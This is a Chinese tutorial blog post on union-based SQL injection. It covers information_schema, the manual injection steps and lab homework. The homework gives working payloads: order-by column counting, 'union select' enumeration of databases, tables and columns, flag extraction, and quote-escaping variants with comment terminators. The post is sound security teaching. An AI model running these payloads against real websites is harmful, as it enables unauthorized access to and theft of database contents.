SQL注入——联合注入

2023-11-16

SQL注入原理:攻击者通过构造不同的SQL语句来实现对数据库的操作

SQL注入的本质:我们也能操作别人的数据库

数据库结构:库:就是一堆表组成的数据集合    表:类似Excel,有行和列组成的二维表     字段:表中的列称为字段    记录:表中的行称为记录  单元格:行和列相交的地方成为单元格

在数据库里有一个系统库:information_schema    

        在他里面有个存放所有库名的表:schemata        schema_name  库名       

        在他里面有个存着所有表名的表:tables              table_name  表名            

        在他里面还有个存放着所有字段的表:columns   column_name   字段名

基本查询语句:

        select * from 表:从表里查询所有内容      

        where :有条件的从表中选取数据      

        and和or:条件有点多的时候从表中选取数据

        order by :根据指定的结果集/指定的列进行排序    

        limit 0,1:从第一行起显示一条记录      

        union select :将多个表拼接在一起(在进行联合查询的时候要注意前面的表和后面的表字段数要相同)

SQL手注的一般流程:

        1、判断注入点(注入点:存在SQL注入的地方)

                判断注入点:通过具有差异化现象的语句判断我们的语句是否进入到数据库

                方法:1、运算符检测(利用减乘除(id=2-1或id=2/2或id=0.5*2),加号相当于空格,如要使用加号,则需先通过URL编码(id=0.5%2B0.5)

                           2、and 1=1   and 1=2   (and -1=-1   and  -2=-1)

                           3、and  sleep(10)

        2、判断字段数

                利用 order  by  判断字段数   可使用二分法

        3、判断回显点

        4、查询内容

                查询数据库版本:version()

                查询数据库名字:database()

                查询表名

                查询字段名

                查询字段内容

                

作业:

1、

 

 

 

 id=2-1 order by 3

 

 id=2-1 order by 4

 

 由上可知,有3个字段

id=2-1 union select 1,2,3

 

 可知2和3是两个回显点

id=2-1 union select 1,2,database()

 

 知当前数据库名为 error

id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1

得知该数据库中的第一个表为error_flag,欲得到其他的表只需将limit 后面的0改成其他数字的即可 

id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='error_flag' limit 0,1

 得知第一个字段为id

id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='error_flag' limit 1,1

得知第二个字段为flag

id=1 and 1=2 union select 1,2,flag from error.error_flag limit 0,1

 至此,得到flag

2、

 

id=1‘ and 1=1 -- qwe

 

 

 id=1' and 1=2 -- qwe

 

 id=1' and 1=2 union select 1,2,database()

 

 3、id=1') and 1=2 union select 1,2,database() -- qwe

 

 4、id=1") and 1=2 union select 1,2,database() -- qwe

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入——联合注入 的相关文章

  • 优化 SQL Server 上的删除

    Deletesql server 上的有时很慢 我经常需要优化它们以减少所需的时间 我一直在谷歌上搜索一些关于如何做到这一点的提示 并且我发现了各种各样的建议 我想知道你最喜欢和最有效的驯服删除野兽的技术 以及它们如何以及为什么起作用 到目
  • 将 .MDF SQL Server 数据库与 ASP.NET 结合使用与使用 SQL Server

    我目前正在 ASP NET MVC 中编写一个网站 我的数据库 其中还没有任何数据 只有正确的表 使用 SQL Server 2008 我已将其安装在我的开发计算机上 我使用服务器资源管理器从应用程序连接到数据库 然后使用 LINQ to
  • SQL:如何在按部分分组的查询中使用子查询?

    如何在按部分分组的查询中使用子查询 我使用 SQL Server 2008 R2 和 Delphi 2010 我收到此错误 Cannot perform an aggregate function on an expression cont
  • 不带 GROUP BY 的聚合查询

    这个查询似乎在我的旧机器上完美运行 但是 在我的 MySQL 5 7 14 和 PHP 5 6 25 的新机器上 它会抛出错误 致命错误 未捕获异常 PDOException 并带有消息 SQLSTATE 42000 语法错误或访问冲突 1
  • Postgresql 一张表的多个计数

    我想从表中的两列中获得这些列中值的统一计数 例如 两列是 表 报告 type place one home two school three work four cafe five friends six mall one work one
  • 检查两个“select”是否相等

    有没有办法检查两个 非平凡的 选择是否等效 最初我希望两个选择之间有形式上的等价 但是答案在证明 sql 查询等价性 https stackoverflow com questions 56895 proving sql query equ
  • sql查询获取从一月到当月的所有数据,即使没有记录

    我不擅长 sql 所以任何帮助世界都很棒 我有一个 SQL 查询 可以获取从一月到当月注册的记录 我的代码示例 SELECT DatePart YEAR p createStamp as TheYear DatePart MONTH p c
  • MySQL中如何声明变量?

    如何在mysql中声明一个变量 以便我的第二个查询可以使用它 我想写一些类似的东西 SET start 1 SET finish 10 SELECT FROM places WHERE place BETWEEN start AND fin
  • 实现软删除的最佳方法是什么?

    目前在做一个项目 我们要对大部分用户 用户角色 实现软删除 我们决定添加一个is deleted 0 数据库中每个表的字段并将其设置为 1 如果特定用户角色点击特定记录上的删除按钮 现在为了将来的维护 每个SELECT查询需要确保它们不包含
  • 在存储过程中验证用户的最简单方法?

    我需要一个存储过程 可以通过发送以下内容来检查登录尝试时他们是否是有效用户login and password查看它们在数据库中是否匹配 有没有一种简单的方法可以做到这一点 如果没有更多信息 我目前能提供的最好信息是 CREATE STOR
  • st_intersects 与 st_overlaps

    这两个查询有什么区别 select a gid sum length b the geom from polygons as a roads as b where st intersects a the geom b the geom gr
  • 提高第一个查询的性能

    如果执行以下数据库 postgres 查询 则第二次调用要快得多 我猜第一个查询很慢 因为操作系统 linux 需要从磁盘获取数据 第二个查询受益于文件系统级别和 postgres 中的缓存 有没有一种方法可以优化数据库以快速获得结果fir
  • 使用子查询 select 创建新表

    我试图从子查询选择创建一个新表 但出现以下错误 附近的语法不正确 SELECT INTO foo FROM SELECT DATEPART MONTH a InvoiceDate as CalMonth DATEPART YEAR a In
  • 如何从 SQL Server 2008 查询结果中删除“NULL”

    我有一个包含 59 列和超过 17K 行的表 很多行都有NULL在某些列中 我想删除NULL以便查询返回空白 而不是NULL 我可以运行一些更新功能来替换所有NULL with 使用 SQL Server 2008R2 Management
  • 获取带有计数的不同记录

    我有一张桌子personid and msg列 personid msg 1 msg1 2 msg2 2 msg3 3 msg4 1 msg2 我想得到总计msg对于每个personid 我正在尝试这个查询 select distinct
  • SELECT max(x) 返回 null;我怎样才能让它返回0?

    运行以下命令时如何返回 0 而不是 null SELECT MAX X AS MaxX FROM tbl WHERE XID 1 假设没有XID 1的行 or SELECT coalesce MAX X 0 AS MaxX FROM tbl
  • 日期语句之间的 JPQL SELECT [关闭]

    Closed 这个问题是无法重现或由拼写错误引起 help closed questions 目前不接受答案 我想将此 SQL 语句转换为等效的 JPQL SELECT FROM events WHERE events date BETWE
  • Spark SQL 中的 SQL LIKE

    我正在尝试使用 LIKE 条件在 Spark SQL 中实现联接 我正在执行连接的行看起来像这样 称为 修订 Table A 8NXDPVAE Table B 4 8 NXD V 在 SQL Server 上执行联接 A revision
  • 快速将列的副本添加到 MySQL 表

    我需要一种快速的方法来复制表中的 DATETIME 列并为其指定一个新名称 我的表中有一个名为 myDate 的列 名为 myResults 我需要一个查询来在名为 newDate 的表中创建一个新列 该列的数据与 myDate 列完全相同
  • SQL 更新 - 更新选定的行

    我正在使用 SQL Server 2008 我有一个名为MYTABLE有两列 ID STATUS 我想编写一个存储过程来返回其记录STATUS是 0 但是这个存储过程必须更新STATUS返回行数为 1 如何在单个查询中执行此选择和更新操作

随机推荐

  • PAN和MS融和综述(pansharpening)

    PAN和MS融和综述 pansharpening 一 基于成分替代的图像融和 1 基于IHS变换的图像融合方法 IHS方法是将原始多光谱图像从RGB空间变换到IHS空间 然后用高分辨率图像或用不同投影方式得到的待融合图像替代I分量 在IHS
  • spring的InitializingBean接口、DisposableBean接口

    本文介绍spring中与bean有关的一些接口 afterPropertiesSet afterPropertiesSet 方法是 Spring 框架中的一个初始化方法 主要用于在 Bean 实例化和属性注入完成后执行一些初始化操作 具体来
  • windows 7 系统安装

    环境 workstation 10 虚拟机 GHOST windows 7 32位 今天安装系统 碰到一些问题 在此记录 问题一是分区后 重启黑屏的问题 解决方案 问题二 点击安装到第一分区 自动跳转到dos工具界面问题 解决方案 问题三
  • Qt之QLabel

    简述 QLabel提供了一个文本或图像的显示 没有提供用户交互功能 一个QLabel可以包含以下任意内容类型 内容 设置 纯文本 使用setText 设置一个QString 富文本 使用setText 设置一个富文本的QString 图像
  • HR人员和岗位关联日期问题

    离职日期是4月3号 但4月1 2号的数据在GET PERNR 就查不到 原因是人员和岗位关联日期在3月31号就结束了 所以选中组织结构后找不到数据了 表HRP1001可以查看 O组织 S岗位 P人员 修改 PO13 gt 关系显示 gt 找
  • UNIX网络编程之源代码的编译和使用

    UNIX网络编程入门 对于想学习网络编程的来说 UNIX网络编程 这书肯定是不二选择 所谓实践是检验真理的唯一标志 特别是对于编程来讲 再多的理论经验也比不过code一次 UNIX网络编程 这本书提供连源码下载 第三本版的源码可点击这里下载
  • Linux——(第六章)常用指令(一)

    目录 一 帮助指令 1 man获取帮助信息 2 help指令 3 常用快捷键 二 文件和目录相关指令 1 pwd 指令 2 ls 指令 3 cd 指令 4 mkdir 指令 5 rmdir指令 6 touch指令 7 cp 指令 8 rm
  • 队列——queue

    Hello 这是你们的苦力怕 今天我去医院做核酸检测 排了老长的队 wait了半个多小时才做完 真是把我整无语死了 但是我在wait的过程中突然想到了一个问题 啥数据结构跟排队很像 对了 就是大名鼎的队列 目录 什么是队列 队列的用法 队列
  • 安装CP210xVCP遇到的问题

    在CE系统里面有USB设备虚拟串口的驱动 CP210xVCP就是这样 在写入注册表的配置信息里面 虚拟的串口默认为COM9 有一些设备上面 COM9是不行的 遇到这样的情况 修改为较小的编号 如COM6是可以的 还有一些设备 裁减掉了USB
  • Vue3、setup的使用

    Vue3 setup ref reactive toRef toRefs 1 setup的使用 1 1 简介 1 2 setup注意点 1 3 定义响应式数据 1 4 toRefs 1 5 setup中执行方法 1 5 1 方式一 1 5
  • Sqli-labs-master 1-4闯关游戏

    Less 1 首先打开到Less 1 根据提示Please input the ID as parameter with numeric value 请输入ID作为带数值的参数 这里我们用GET方法进行尝试 id 1 可以看到返回了用户名及
  • ceph pg inconsistent不一致,ceph pg repair无效

    更多ceph相关文章详见知乎ceph专栏 聊聊ceph ceph pg repair指令执行后 无效原因分析 ceph pg repair这一操作会先进行pg scrub 得到该PG中不一致的对象 然后再进行recovery pg scru
  • NVIDA CUDA architecture查询

    官网查询 https developer nvidia com cuda gpus 如下图所示 另外在CUDA SDK目录下有deviceQuery的示例程序 WIN10路径是C ProgramData NVIDIA Corporation
  • 若要运行此应用程序,您必须首先安装NET Framework 解决办法

    先把进入控制面版 删除原来的版本 安装 Net Framework失败 解决方案 第一步 如果是XP系统 这么做 1 开始 运行 输入cmd 回车 在打开的窗口中输入net stop WuAuServ 2 开始 运行 输入 windir 3
  • stm32f1一路互补PWM大功率DCDC降压方案

    stm32f1 ucc27211 tl431大功率dcdc电路 源码程序
  • 共探工业数智化,TVP河南工业互联网论坛将重磅召开!

    引言 随着数字经济与经济社会发展的深度融合 工业互联网日益成为数字化转型的关键驱动力量 云计算 大数据 AI 物联网等蓬勃发展的新技术将为制造业提供数字转型 智能升级 融合创新等服务 工业互联网也迎来了新一轮的历史发展机遇 在新技术的加持下
  • DataWhale-VCED项目学习-2Jina

    Jina Jina是多模态中存储数据以及处理数据的组件 它可以将非结构化数据 图像 文档 视频等 转化为向量数据 并结合Jina其它的相关组件设计 可以将这些向量数据利用起来 实现多模态相关应用 安装 安装 Jina 需要 Python3
  • git简单命令

    登录自己的账号与邮箱 git config global user name wei gir config global user email ww 进入一个文件夹中之后 git init 初始化仓库 生成 git文件 该文件夹称为工作树
  • 剑指offer-17 合并链表

    2个链表 本来都是从小到大的顺序排列的 现在要求合并 合并后依然从小到大 思路 先设定一个pointer指针 指向新链表的新节点 1 如果链表1为空 则新链表就是链表2 反之一样 2 创建一个指针pointer 在子链表都不为空时 比较两个
  • SQL注入——联合注入

    SQL注入原理 攻击者通过构造不同的SQL语句来实现对数据库的操作 SQL注入的本质 我们也能操作别人的数据库 数据库结构 库 就是一堆表组成的数据集合 表 类似Excel 有行和列组成的二维表 字段 表中的列称为字段 记录 表中的行称为记